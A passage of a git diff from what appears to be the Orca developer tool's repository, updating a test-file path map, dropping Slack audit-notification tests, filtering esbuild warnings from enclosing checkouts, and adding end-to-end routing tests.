"src/renderer/src/components/settings/KagiSessionLinkForm.test.ts": 193, - "src/renderer/src/components/settings/LinearAgentSkillPane.test.tsx": 675, "src/renderer/src/components/settings/LocalNetworkConnectionTest.test.tsx": 556, "src/renderer/src/components/settings/MachineNameField.test.tsx": 481, "src/renderer/src/components/settings/McpConfigSection.host-owner.test.tsx": 2450, @@ -8430,7 +8384,6 @@ "src/renderer/src/components/settings/ReleaseChannelSection.test.tsx": 2427, "src/renderer/src/components/settings/repository/RepositoryGitHubAccountSection.inventory-lifetime.test.tsx": 587, "src/renderer/src/components/settings/repository/RepositoryGitHubAccountSection.test.tsx": 662, - "src/renderer/src/components/settings/repository/RepositoryPane.test.ts": 2778, "src/renderer/src/components/settings/repository/source-control/RepositorySourceControlAiSection.test.ts": 365, "src/renderer/src/components/settings/RuntimeEnvironmentsPane.test.ts": 201, "src/renderer/src/components/settings/RuntimeHostAccessForm.test.tsx": 307, @@ -8441,7 +8394,6 @@ "src/renderer/src/components/settings/SettingsConstants.test.ts": 97, "src/renderer/src/components/settings/SettingsFormControls.font-autocomplete.test.tsx": 789, "src/renderer/src/components/settings/SettingsFormControls.segmented-control.test.tsx": 548, - "src/renderer/src/components/settings/SettingsSidebar.test.tsx": 2169, "src/renderer/src/components/settings/ShareSkillsSettingsPane.test.tsx": 601, "src/renderer/src/components/settings/ShortcutFilterRail.test.ts": 157, "src/renderer/src/components/settings/SparsePresetSettingsSection.test.tsx": 785, @@ -8449,12 +8401,10 @@ "src/renderer/src/components/settings/SshHostRecoverServerAction.test.tsx": 343, "src/renderer/src/components/settings/SshHostRestartServerAction.test.tsx": 385, "src/renderer/src/components/settings/SshPane.test.tsx": 1821, - "src/renderer/src/components/settings/SshTargetCard.test.tsx": 2061, "src/renderer/src/components/settings/SshTargetDestructiveActions.test.tsx": 338, "src/renderer/src/components/settings/SshTargetForm.test.tsx": 690, "src/renderer/src/components/settings/SshTargetList.large-config.test.tsx": 371, "src/renderer/src/components/settings/SshTargetList.test.tsx": 2127, - "src/renderer/src/components/settings/TaskSourceLinearSetup.test.tsx": 391, "src/renderer/src/components/settings/TaskSourceProviderCard.test.tsx": 309, "src/renderer/src/components/settings/TaskSourceShowInTasksStep.test.tsx": 194, "src/renderer/src/components/settings/TaskSourceSimpleSetup.test.tsx": 323, @@ -8539,7 +8489,6 @@ "src/renderer/src/components/settings/use-runtime-environment-catalog.test.tsx": 2203, "src/renderer/src/components/settings/use-runtime-environment-mutation-actions.test.tsx": 1871, "src/renderer/src/components/settings/use-session-search-status.test.tsx": 362, - "src/renderer/src/components/settings/use-task-source-provider-readiness.test.tsx": 199, "src/renderer/src/components/settings/use-zcode-plan-credentials.test.tsx": 1115, "src/renderer/src/components/settings/useGhosttyImport.test.ts": 83, "src/renderer/src/components/settings/useWarpThemeImport.test.ts": 153, @@ -8557,8 +8506,6 @@ "src/renderer/src/components/sidebar/AddRepoCreateStep.test.tsx": 532, "src/renderer/src/components/sidebar/AddRepoDialog.default-checkout.test.ts": 42, "src/renderer/src/components/sidebar/AddRepoDialogChrome.test.tsx": 495, - "src/renderer/src/components/sidebar/AddRepoDialogStepContent.test.tsx": 1988, - "src/renderer/src/components/sidebar/AddRepoHostSelector.test.tsx": 390, "src/renderer/src/components/sidebar/AddRepoNestedImportStep.test.tsx": 817, "src/renderer/src/components/sidebar/AddRepoStartSteps.test.tsx": 681, "src/renderer/src/components/sidebar/AddRepoSteps.default-checkout.test.ts": 170, @@ -8579,8 +8526,6 @@ "src/renderer/src/components/sidebar/DeleteWorktreeDialog.unsaved-edits.test.tsx": 1079, "src/renderer/src/components/sidebar/DeleteWorktreeDialogFooter.test.tsx": 523, "src/renderer/src/components/sidebar/DeleteWorktreeTargetPreview.test.tsx": 608, - "src/renderer/src/components/sidebar/ForgetSshWorkspaceDialog.test.tsx": 1539, - "src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx": 1451, "src/renderer/src/components/sidebar/LinearAgentSkillSetupPrompt.reminder-toast.test.tsx": 1545, "src/renderer/src/components/sidebar/LinearAgentSkillSetupPrompt.test.tsx": 2010, "src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.test.tsx": 1690, @@ -8593,7 +8538,6 @@ "src/renderer/src/components/sidebar/ProjectGroupDeleteDialog.test.tsx": 2252, "src/renderer/src/components/sidebar/ProjectHeaderActions.test.tsx": 141, "src/renderer/src/components/sidebar/RemoteFileBrowser.paste.test.tsx": 640, - "src/renderer/src/components/sidebar/RemoveFolderDialog.test.tsx": 754, "src/renderer/src/components/sidebar/SetupGuideSidebarEntry.test.tsx": 433, "src/renderer/src/components/sidebar/SetupScriptPromptCard.test.ts": 73, "src/renderer/src/components/sidebar/SeveredTerminalDaemonBanner.test.tsx": 393, @@ -8612,20 +8556,13 @@ "src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.mount-gating.test.tsx": 1554, "src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.search.test.tsx": 2430, "src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.task-status-sync.test.tsx": 1766, - "src/renderer/src/components/sidebar/WorkspaceKanbanDrawerHeader.test.tsx": 1722, "src/renderer/src/components/sidebar/WorkspaceKanbanLaneCardList.test.tsx": 286, "src/renderer/src/components/sidebar/WorkspaceKanbanLaneGrid.test.tsx": 519, "src/renderer/src/components/sidebar/WorkspaceKanbanSearchField.test.tsx": 658, - "src/renderer/src/components/sidebar/WorkspaceKanbanStatusLane.test.tsx": 419, "src/renderer/src/components/sidebar/WorktreeCard.affiliate-list-mode.test.tsx": 1826, "src/renderer/src/components/sidebar/WorktreeCard.compact-hover.test.tsx": 2372, - "src/renderer/src/components/sidebar/WorktreeCard.compact-ports-hover-independence.test.tsx": 2147, - "src/renderer/src/components/sidebar/WorktreeCard.delete-failed.test.tsx": 2196, "src/renderer/src/components/sidebar/WorktreeCard.host-badge-toggle.test.tsx": 1253, "src/renderer/src/components/sidebar/WorktreeCard.hosted-review-refresh.test.tsx": 1647, - "src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx": 1737, - "src/renderer/src/components/sidebar/WorktreeCard.merged-pr-display.test.tsx": 1682, - "src/renderer/src/components/sidebar/WorktreeCard.pinned-repo-icon.test.tsx": 1604, "src/renderer/src/components/sidebar/WorktreeCard.pr-display.test.tsx": 1246, "src/renderer/src/components/sidebar/WorktreeCard.quick-actions.test.tsx": 1827, "src/renderer/src/components/sidebar/WorktreeCard.single-reference-details.test.tsx": 1662, @@ -8633,7 +8570,6 @@ "src/renderer/src/components/sidebar/WorktreeCardAgents.acknowledgement-emphasis.test.tsx": 944, "src/renderer/src/components/sidebar/WorktreeCardAgents.activation.test.tsx": 766, "src/renderer/src/components/sidebar/WorktreeCardAgents.expansion-remount.test.tsx": 958, - "src/renderer/src/components/sidebar/WorktreeCardAgents.send-target.test.tsx": 1228, "src/renderer/src/components/sidebar/WorktreeCardAgents.test.tsx": 846, "src/renderer/src/components/sidebar/WorktreeCardLinkedItemsSection.test.tsx": 3296, "src/renderer/src/components/sidebar/WorktreeCardMeta.interaction.test.tsx": 1658, @@ -8644,11 +8580,8 @@ "src/renderer/src/components/sidebar/WorktreeContextMenu.delete-shortcut.test.tsx": 1570, "src/renderer/src/components/sidebar/WorktreeContextMenu.react185-bystander.test.tsx": 1475, "src/renderer/src/components/sidebar/WorktreeContextMenu.test.ts": 164, - "src/renderer/src/components/sidebar/WorktreeDeveloperMenuReveal.test.tsx": 702, "src/renderer/src/components/sidebar/WorktreeList.card-memo-stability.test.tsx": 819, - "src/renderer/src/components/sidebar/WorktreeList.empty-project-rows.test.ts": 3395, "src/renderer/src/components/sidebar/WorktreeList.folder-workspace-rows.test.ts": 2943, - "src/renderer/src/components/sidebar/WorktreeList.group-headers.test.ts": 1786, "src/renderer/src/components/sidebar/WorktreeList.lineage-agent-expansion-coupling.test.tsx": 3116, "src/renderer/src/components/sidebar/WorktreeList.lineage-child-card.test.ts": 4240, "src/renderer/src/components/sidebar/WorktreeList.lineage-child-real-card.test.tsx": 3000, @@ -8803,7 +8736,6 @@ "src/renderer/src/components/sidebar/worktree-agent-orchestration-index.test.ts": 81, "src/renderer/src/components/sidebar/worktree-agent-remote-attribution.test.ts": 885, "src/renderer/src/components/sidebar/worktree-agent-row-selectors.test.ts": 43, - "src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx": 1878, "src/renderer/src/components/sidebar/worktree-card-agent-ack-inputs.test.tsx": 145, "src/renderer/src/components/sidebar/worktree-card-agent-summary.test.ts": 2036, "src/renderer/src/components/sidebar/worktree-card-compact-agent-row.stable-message.test.tsx": 2596, @@ -8900,8 +8832,6 @@ "src/renderer/src/components/sidebar/worktree-title-derived-agent-rows.test.ts": 119, "src/renderer/src/components/sidebar/worktree-unambiguous-id-index.test.ts": 19, "src/renderer/src/components/sidebar/worktree-unnest.test.ts": 94, - "src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts": 45, - "src/renderer/src/components/sidebar/wsl-host-removal.test.ts": 129, "src/renderer/src/components/sidebar/wsl-host-row-status.test.ts": 282, "src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx": 292, "src/renderer/src/components/skills/SkillFreshnessStatusPill.test.tsx": 2390, @@ -8920,7 +8850,6 @@ "src/renderer/src/components/skills/skill-delete-copy.test.ts": 146, "src/renderer/src/components/skills/skill-description-length.test.ts": 34, "src/renderer/src/components/skills/skill-install-progress-state.test.tsx": 258, - "src/renderer/src/components/skills/skill-install-provider-groups.test.ts": 32, "src/renderer/src/components/skills/skill-install-workspace-choices.test.ts": 55, "src/renderer/src/components/skills/skill-share-link.test.ts": 38, "src/renderer/src/components/skills/skill-share-package-selection.test.ts": 48, @@ -8934,14 +8863,12 @@ "src/renderer/src/components/sparse/sparse-directory-entry-input.test.ts": 107, "src/renderer/src/components/star-nag/StarNagAgentValueMomentObserver.test.tsx": 1534, "src/renderer/src/components/star-nag/StarNagToastHost.test.tsx": 344, - "src/renderer/src/components/stats/CodexUsagePane.test.tsx": 753, "src/renderer/src/components/stats/usage-daily-chart.test.tsx": 189, "src/renderer/src/components/stats/usage-overview-model.test.ts": 422, "src/renderer/src/components/status-bar/CaffeinateStatusSegment.localization.test.tsx": 482, "src/renderer/src/components/status-bar/NativeChatResumeStatusSegment.test.tsx": 2041, "src/renderer/src/components/status-bar/PortsStatusSegment.host-routing.test.tsx": 712, "src/renderer/src/components/status-bar/PortsStatusSegment.render-stability.test.tsx": 1289, - "src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx": 1780, "src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx": 381, "src/renderer/src/components/status-bar/SkillUpdateStatusSegment.test.tsx": 436, "src/renderer/src/components/status-bar/SshStatusSegment.large-host-list.test.tsx": 1552, @@ -8975,8 +8902,6 @@ "src/renderer/src/components/status-bar/resource-session-kill-confirmation.test.ts": 42, "src/renderer/src/components/status-bar/resource-session-removal-render-budget.test.tsx": 288, "src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts": 87, - "src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts": 1804, - "src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts": 38, "src/renderer/src/components/status-bar/runtime-host-resources.test.ts": 45, "src/renderer/src/components/status-bar/ssh-status-menu-rows.test.ts": 48, "src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx": 968, @@ -9135,14 +9060,13 @@ "src/renderer/src/components/task-page/jira/task-page-jira-saved-filter-application.test.tsx": 1838, "src/renderer/src/components/task-page-jira-saved-filter-load-failure.test.tsx": 2974, "src/renderer/src/components/task-page/jira/task-page-jira-search.test.ts": 42, - "src/renderer/src/components/task-page-jira-sorting.test.ts": 107, + "src/renderer/src/components/task-page/jira/task-page-jira-sorting.test.ts": 107, "src/renderer/src/components/task-page-jira-status-catalog.test.ts": 60, "src/renderer/src/components/task-page/jira/task-page-jira-status-order-session.test.tsx": 2111, "src/renderer/src/components/task-page/jira/task-page-jira-text-fallback-notice.test.tsx": 375, "src/renderer/src/components/task-page/task-page-list-chrome-visibility.test.ts": 33, "src/renderer/src/components/task-page/task-page-mutation-page-allocation.test.ts": 128, "src/renderer/src/components/task-page/task-page-new-issue-draft.test.ts": 76, - "src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts": 401, "src/renderer/src/components/task-page/task-page-work-item-pagination.test.ts": 56, "src/renderer/src/components/task-page/github/rows-twin-host-routing.test.tsx": 1521, "src/renderer/src/components/task-page/github/task-page-github-dialog-state-authority.test.ts": 71, @@ -9489,7 +9413,6 @@ "src/renderer/src/components/terminal-pane/terminal-cold-park-tab-model-identity.react185.test.tsx": 774, "src/renderer/src/components/terminal-pane/terminal-cold-park-timer-rearm.test.tsx": 538, "src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx": 694, - "src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts": 48, "src/renderer/src/components/terminal-pane/terminal-command-lifecycle.test.ts": 46, "src/renderer/src/components/terminal-pane/terminal-copy-shortcut.test.ts": 1636, "src/renderer/src/components/terminal-pane/terminal-ctrl-enter.test.ts": 115, @@ -9712,7 +9635,6 @@ "src/renderer/src/components/terminal-pane/use-terminal-pane-global-effects-visibility-resume.test.ts": 1476, "src/renderer/src/components/terminal-pane/use-terminal-pane-global-effects-window-focus-recovery.test.ts": 1531, "src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts": 1551, - "src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts": 204, "src/renderer/src/components/terminal-pane/use-terminal-park-mount-intent.react185.test.tsx": 251, "src/renderer/src/components/terminal-pane/use-terminal-scroll-visibility-memory.test.ts": 56, "src/renderer/src/components/terminal-pane/use-terminal-tab-cold-parking.test.ts": 461, @@ -9749,7 +9671,6 @@ "src/renderer/src/components/terminal/split-group-mount.test.ts": 58, "src/renderer/src/components/terminal/startup-terminal-tab-hold.test.ts": 1872, "src/renderer/src/components/terminal/tab-type-cycle.test.ts": 39, - "src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts": 211, "src/renderer/src/components/terminal/terminal-close-copy-kind.test.ts": 40, "src/renderer/src/components/terminal/terminal-close-incarnation.test.ts": 28, "src/renderer/src/components/terminal/terminal-provider-snapshot-bound-pty-ids.test.ts": 1570, @@ -9804,7 +9725,6 @@ "src/renderer/src/components/workspace-cleanup/workspace-cleanup-background-removal.test.ts": 176, "src/renderer/src/components/workspace-cleanup/workspace-cleanup-candidate-row-data.test.ts": 279, "src/renderer/src/components/workspace-cleanup/workspace-cleanup-candidate-row.test.tsx": 2141, - "src/renderer/src/components/workspace-cleanup/workspace-cleanup-confirm-remove.test.tsx": 658, "src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-controls.test.tsx": 601, "src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-filter.test.ts": 107, "src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-sort.test.ts": 127, @@ -9820,7 +9740,6 @@ "src/renderer/src/components/workspace-space/SpaceWindowStatePublisher.test.tsx": 618, "src/renderer/src/components/workspace-space/space-window-state.test.ts": 162, "src/renderer/src/components/workspace-surface-projection.test.ts": 48, - "src/renderer/src/components/worktree-creation/WorktreeCreationPanel.test.tsx": 509, "src/renderer/src/components/worktree-jump-palette-browser-navigation.test.tsx": 2772, "src/renderer/src/components/worktree-jump-palette-interleaved-sections.test.tsx": 2023, "src/renderer/src/components/worktree-jump-palette-primitives.test.tsx": 384, @@ -9980,7 +9899,6 @@ "src/renderer/src/hooks/useIpcEvents-repos-changed-catalogs.test.ts": 2758, "src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts": 502, "src/renderer/src/hooks/useIpcEvents-session-tab-close-request.test.ts": 1385, - "src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts": 1395, "src/renderer/src/hooks/useIpcEvents-ssh-disconnect-cleanup.test.ts": 1178, "src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts": 998, "src/renderer/src/hooks/useIpcEvents-updater-status.test.ts": 1219, @@ -10200,7 +10118,6 @@ "src/renderer/src/lib/github-work-item-source-lookup.test.ts": 130, "src/renderer/src/lib/github-work-item-workspace-attachment.test.ts": 87, "src/renderer/src/lib/gitlab-links.test.ts": 43, - "src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts": 253, "src/renderer/src/lib/hook-command-delayed-delivery-perf.test.ts": 1086, "src/renderer/src/lib/hook-command-delayed-delivery.test.ts": 1444, "src/renderer/src/lib/host-chat-program.test.ts": 1832, @@ -10662,7 +10579,6 @@ "src/renderer/src/lib/worktree-creation-backend-startup-focus.test.ts": 1775, "src/renderer/src/lib/worktree-creation-background-mount.test.ts": 2109, "src/renderer/src/lib/worktree-creation-chat-setup.test.ts": 2040, - "src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts": 1005, "src/renderer/src/lib/worktree-creation-flow-ready-toast.test.ts": 2003, "src/renderer/src/lib/worktree-creation-flow-stranded-surface.test.ts": 1041, "src/renderer/src/lib/worktree-creation-flow.test.ts": 2013, @@ -11648,8 +11564,8 @@ "src/shared/agent-session-definitive-refusal.test.ts": 119, "src/shared/agent-session-failure-words.test.ts": 461, "src/shared/agent-session-failure.test.ts": 97, - "src/shared/agent-session-journal-body-admission.test.ts": 108, - "src/shared/agent-session-journal-producer.test.ts": 42, + "src/shared/agent-session/journal/agent-session-journal-body-admission.test.ts": 108, + "src/shared/agent-session/journal/agent-session-journal-producer.test.ts": 42, "src/shared/agent-session-journal-schemas.test.ts": 113, "src/shared/agent-session-lease-adjudication.test.ts": 51, "src/shared/agent-session-legacy-handoff-lease.test.ts": 124, diff --git a/config/scripts/dependency-security-release.test.mjs b/config/scripts/dependency-security-release.test.mjs index 9166381776c..b2a163ec406 100644 --- a/config/scripts/dependency-security-release.test.mjs +++ b/config/scripts/dependency-security-release.test.mjs @@ -3,7 +3,7 @@ import { tmpdir } from 'node:os' import { dirname, join } from 'node:path' import { runProcess } from '@orca/process-host' import { runInNewContext } from 'node:vm' -import { expect, it, vi } from 'vitest' +import { expect, it } from 'vitest' import { parse } from 'yaml' const release = parse(readFileSync('.github/workflows/release-cut.yml', 'utf8')) @@ -59,97 +59,13 @@ it('scans the release tag with read-only workflow tooling instead of installing } }) -it('keeps audit outcomes for notifications while allowing findings to pass CI', () => { - expect(audit.secrets.SLACK_WEBHOOK_URL).toBe('${{ secrets.SLACK_WEBHOOK_URL }}') - expect(security.on.workflow_call.secrets.SLACK_WEBHOOK_URL.required).toBe(false) - const notify = security.jobs.notify - expect(notify.needs).toEqual(['javascript', 'rust']) - expect(notify.steps[0]['continue-on-error']).toBe(true) +it('allows audit findings to pass CI', () => { for (const name of ['javascript', 'rust']) { const job = security.jobs[name] expect(job.steps.find((step) => step.id === 'audit')['continue-on-error']).toBe(true) - expect(job.outputs.audit_result).toBe('${{ steps.audit.outcome }}') - for (const status of ['success', 'failure']) { - for (const outcome of ['success', 'failure']) { - for (const cancelled of [false, true]) { - const needs = { - javascript: { result: 'success', outputs: { audit_result: 'success' } }, - rust: { result: 'success', outputs: { audit_result: 'success' } } - } - needs[name] = { result: status, outputs: { audit_result: outcome } } - expect( - runInNewContext(notify.if, { - needs, - github: { repository: 'stablyai/orca' }, - cancelled: () => cancelled - }) - ).toBe(!cancelled && (status === 'failure' || outcome === 'failure')) - } - } - } } }) -async function sendNotification({ - webhook = 'https://example.test/slack', - ref = '', - pullRequest, - fetch = vi.fn().mockResolvedValue({ ok: true }) -} = {}) { - const notice = vi.fn() - await runInNewContext(`(async () => { ${security.jobs.notify.steps[0].with.script} })()`, { - process: { - env: { - SLACK_WEBHOOK_URL: webhook, - RELEASE_REF: ref, - GITHUB_SERVER_URL: 'https://github.com', - GITHUB_REPOSITORY: 'stablyai/orca', - GITHUB_RUN_ID: '123', - AUDIT_RESULTS: JSON.stringify({ - javascript: { result: 'success', outputs: { audit_result: 'failure' } }, - rust: { result: 'success', outputs: { audit_result: 'success' } } - }) - } - }, - context: { payload: { pull_request: pullRequest }, ref: 'refs/heads/main' }, - core: { notice }, - fetch, - AbortSignal - }) - return { fetch, notice } -} - -it.each([ - { pullRequest: { number: 1234 }, target: 'PR #1234' }, - { ref: 'refs/tags/v1.5.0', target: 'refs/tags/v1.5.0' } -])('sends a dependency review with the target and report link: $target', async (options) => { - const { fetch } = await sendNotification(options) - const [url, request] = fetch.mock.calls[0] - expect(url).toBe('https://example.test/slack') - expect(request.method).toBe('POST') - const payload = JSON.parse(request.body) - expect(payload.text).toContain(`Orca dependency review for ${options.target}`) - expect(payload.text).toContain('JavaScript: review suggested · Rust: passed') - expect(payload.text).toContain('https://github.com/stablyai/orca/actions/runs/123') - expect(payload.mrkdwn).toBe(false) -}) - -it('retains fork reports without requiring a Slack secret and redacts delivery errors', async () => { - const { fetch, notice } = await sendNotification({ webhook: '' }) - expect(fetch).not.toHaveBeenCalled() - expect(notice).toHaveBeenCalledOnce() - await expect( - sendNotification({ - fetch: vi.fn().mockRejectedValue(new Error('fetch failed: https://example.test/slack')) - }) - ).rejects.toThrow(/^Slack dependency review notification could not be sent$/) - await expect( - sendNotification({ - fetch: vi.fn().mockResolvedValue({ ok: false, status: 503 }) - }) - ).rejects.toThrow(/^Slack dependency review notification returned HTTP 503$/) -}) - it('extracts release data while excluding executable package and Cargo configuration', async () => { const root = mkdtempSync(join(tmpdir(), 'release audit data ')) const source = join(root, 'source') diff --git a/config/scripts/node-server-change-scope-enclosing-checkout.test.mjs b/config/scripts/node-server-change-scope-enclosing-checkout.test.mjs new file mode 100644 index 00000000000..e1a6e8b02f7 --- /dev/null +++ b/config/scripts/node-server-change-scope-enclosing-checkout.test.mjs @@ -0,0 +1,21 @@ +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect, it } from 'vitest' +import { collectNodeServerInputs } from './node-server-change-scope.mjs' + +let outer +afterEach(() => rmSync(outer, { recursive: true, force: true })) + +it('ignores warnings from an enclosing checkout but not from the repo', async () => { + const duplicateKey = '{ "name": "x", "name": "y" }' + outer = mkdtempSync(join(tmpdir(), 'node-server-scope-outer-')) + const root = join(outer, 'repo') + mkdirSync(root) + writeFileSync(join(outer, 'package.json'), duplicateKey) + writeFileSync(join(root, 'entry.ts'), 'export {}') + const collect = () => collectNodeServerInputs({ root, entryPoints: ['entry.ts'] }) + expect([...(await collect())]).toEqual(['entry.ts']) + writeFileSync(join(root, 'package.json'), duplicateKey) + await expect(collect()).rejects.toThrow('Duplicate key') +}) diff --git a/config/scripts/node-server-change-scope.mjs b/config/scripts/node-server-change-scope.mjs index 80067c7d43b..6622be1cff3 100644 --- a/config/scripts/node-server-change-scope.mjs +++ b/config/scripts/node-server-change-scope.mjs @@ -1,5 +1,5 @@ import { appendFileSync, globSync, readFileSync } from 'node:fs' -import { resolve } from 'node:path' +import { isAbsolute, relative, resolve, sep } from 'node:path' import { pathToFileURL } from 'node:url' import { nodeServerTestPaths } from './node-server-test-paths.mjs' import { nodeServerQualification } from './node-server-qualification.mjs' @@ -134,8 +134,12 @@ export async function collectNodeServerInputs({ root = ROOT, entryPoints } = {}) metafile: true, logLevel: 'silent' }) - if (result.warnings.length > 0) { - throw new Error(result.warnings.map((warning) => warning.text).join('\n')) + // esbuild parses every ancestor package.json; a checkout nested in another one must not fail on it. + const warnings = result.warnings.filter( + ({ location }) => !location || isInsideRoot(root, location.file) + ) + if (warnings.length > 0) { + throw new Error(warnings.map((warning) => warning.text).join('\n')) } return new Set([ ...manifests, @@ -145,6 +149,11 @@ export async function collectNodeServerInputs({ root = ROOT, entryPoints } = {}) ]) } +function isInsideRoot(root, file) { + const path = relative(root, resolve(root, file)) + return !isAbsolute(path) && path !== '..' && !path.startsWith(`..${sep}`) +} + function isSourceUnitTest(file) { return ( /^src\/(?:[^/]+\/)*[^/]+\.test\.(?:ts|tsx)$/.test(file) && diff --git a/config/scripts/orcad-e2e-change-scope.test.mjs b/config/scripts/orcad-e2e-change-scope.test.mjs index 769e366b741..cfda61b2766 100644 --- a/config/scripts/orcad-e2e-change-scope.test.mjs +++ b/config/scripts/orcad-e2e-change-scope.test.mjs @@ -38,7 +38,6 @@ const cases = { windows: { excluded: [ 'src/main/daemon/daemon-server.test.ts', - 'src/main/orcad/orcad-native-preflight.test.ts', 'src/main/orcad/nested/orcad-launch.test.ts', 'src/cli/runtime/serve.test.ts', 'src/cli/runtime/nested/serve.test.ts' diff --git a/config/scripts/pr-auxiliary-preflight-admission.test.mjs b/config/scripts/pr-auxiliary-preflight-admission.test.mjs index 791036e542c..c2247ad0578 100644 --- a/config/scripts/pr-auxiliary-preflight-admission.test.mjs +++ b/config/scripts/pr-auxiliary-preflight-admission.test.mjs @@ -392,6 +392,7 @@ function createMobileCiScopeRepository( 'config/scripts/pr-e2e-source-routing.mjs', 'config/scripts/pr-browser-e2e-source-routes.mjs', 'config/scripts/pr-editor-preview-e2e-source-routes.mjs', + 'config/scripts/pr-feature-area-e2e-source-routes.mjs', 'config/scripts/pr-plugin-e2e-source-routes.mjs', 'config/scripts/pr-wsl-e2e-source-routes.mjs', 'config/scripts/ci-e2e-job-selection.mjs' diff --git a/config/scripts/pr-e2e-source-routing.mjs b/config/scripts/pr-e2e-source-routing.mjs index c72eedcafb1..72c0efbf516 100644 --- a/config/scripts/pr-e2e-source-routing.mjs +++ b/config/scripts/pr-e2e-source-routing.mjs @@ -9,6 +9,7 @@ import { MANAGED_SSH_E2E_SPEC_PREFIX } from './ci-e2e-job-selection.mjs' import { LAYOUT_ORACLE_E2E_SPECS } from './pr-layout-oracle-route.mjs' import { PR_BROWSER_E2E_SOURCE_ROUTES } from './pr-browser-e2e-source-routes.mjs' import { PR_EDITOR_PREVIEW_E2E_SOURCE_ROUTES } from './pr-editor-preview-e2e-source-routes.mjs' +import { PR_FEATURE_AREA_E2E_SOURCE_ROUTES } from './pr-feature-area-e2e-source-routes.mjs' import { PR_PLUGIN_E2E_SOURCE_ROUTES } from './pr-plugin-e2e-source-routes.mjs' import { PR_WSL_E2E_SOURCE_ROUTES } from './pr-wsl-e2e-source-routes.mjs' @@ -39,6 +40,7 @@ const ENABLED_AUTOMATION_MOVE = export const PR_E2E_SOURCE_ROUTES = [ ...PR_BROWSER_E2E_SOURCE_ROUTES, ...PR_EDITOR_PREVIEW_E2E_SOURCE_ROUTES, + ...PR_FEATURE_AREA_E2E_SOURCE_ROUTES, ...PR_PLUGIN_E2E_SOURCE_ROUTES, ...PR_WSL_E2E_SOURCE_ROUTES, { diff --git a/config/scripts/pr-feature-area-e2e-routing.test.mjs b/config/scripts/pr-feature-area-e2e-routing.test.mjs new file mode 100644 index 00000000000..e79cc2699e3 --- /dev/null +++ b/config/scripts/pr-feature-area-e2e-routing.test.mjs @@ -0,0 +1,97 @@ +import { describe, expect, it } from 'vitest' +import { existsSync, readdirSync } from 'node:fs' +import { join, resolve } from 'node:path' +import { generalE2eShards } from './ci-e2e-job-selection.mjs' +import { selectPrE2eSpecs } from './pr-e2e-source-routing.mjs' +import { PR_FEATURE_AREA_E2E_SOURCE_ROUTES } from './pr-feature-area-e2e-source-routes.mjs' + +const projectDir = resolve(import.meta.dirname, '../..') + +function productSources(directory) { + return readdirSync(join(projectDir, directory), { recursive: true, withFileTypes: true }) + .filter((entry) => entry.isFile() && /\.tsx?$/.test(entry.name)) + .map((entry) => join(entry.parentPath, entry.name).slice(projectDir.length + 1)) + .map((file) => file.split('\\').join('/')) + .filter((file) => !/\.test\.tsx?$/.test(file)) +} + +describe('feature area PR E2E routing', () => { + it.each([ + [ + 'src/renderer/src/components/automations/AutomationDeleteDialogs.tsx', + 'automation-runs-dashboard' + ], + ['src/renderer/src/components/feature-wall/AgentCapabilityStatusBadges.tsx', 'feature-wall'], + ['src/renderer/src/components/sparse/SparseCheckoutPresetDraftForm.tsx', 'sparse-preset-proof'], + ['src/renderer/src/components/onboarding/AgentStep.tsx', 'onboarding'], + ['src/renderer/src/components/diff-comments/DiffCommentCard.tsx', 'diff-note-edit'], + [ + 'src/renderer/src/components/floating-terminal/FloatingTerminalEmptyState.tsx', + 'floating-terminal-switch-reveal' + ], + ['src/main/speech/model-catalog.ts', 'voice-microphone-selection'], + ['src/renderer/src/components/right-sidebar/AiVaultPanel.tsx', 'ai-vault-panel-search'], + ['src/main/ai-vault-search/session-search-child-service.ts', 'ai-vault-panel-search'], + ['src/main/linear/client.ts', 'linear-private-images'], + ['src/renderer/src/components/task-page/jira/Content.tsx', 'jira-panel-layout'], + ['src/renderer/src/components/task-page/Content.tsx', 'tasks-page'], + ['src/main/project-groups/folder-workspace-path-status.ts', 'project-group-manual-sort'], + ['src/renderer/src/components/stats/UsageOverviewPane.tsx', 'usage-overview'], + ['src/renderer/src/components/pet/PetOverlay.tsx', 'pet-status-segment-layout'], + ['src/renderer/src/components/setup-guide/SetupGuideModal.tsx', 'setup-guide-sidebar'], + [ + 'src/renderer/src/components/new-workspace/ComposerBaseRefPicker.tsx', + 'new-workspace-create-more' + ] + ])('routes %s to %s', (file, spec) => { + expect(selectPrE2eSpecs([file])).toContain(`tests/e2e/${spec}.spec.ts`) + }) + + it('routes only to specs that exist', () => { + for (const spec of PR_FEATURE_AREA_E2E_SOURCE_ROUTES.flatMap((route) => route.specs)) { + expect(existsSync(join(projectDir, spec)), spec).toBe(true) + } + }) + + it('routes every product source in each owned feature directory', () => { + for (const directory of [ + 'src/renderer/src/components/automations', + 'src/renderer/src/components/feature-wall', + 'src/renderer/src/components/onboarding', + 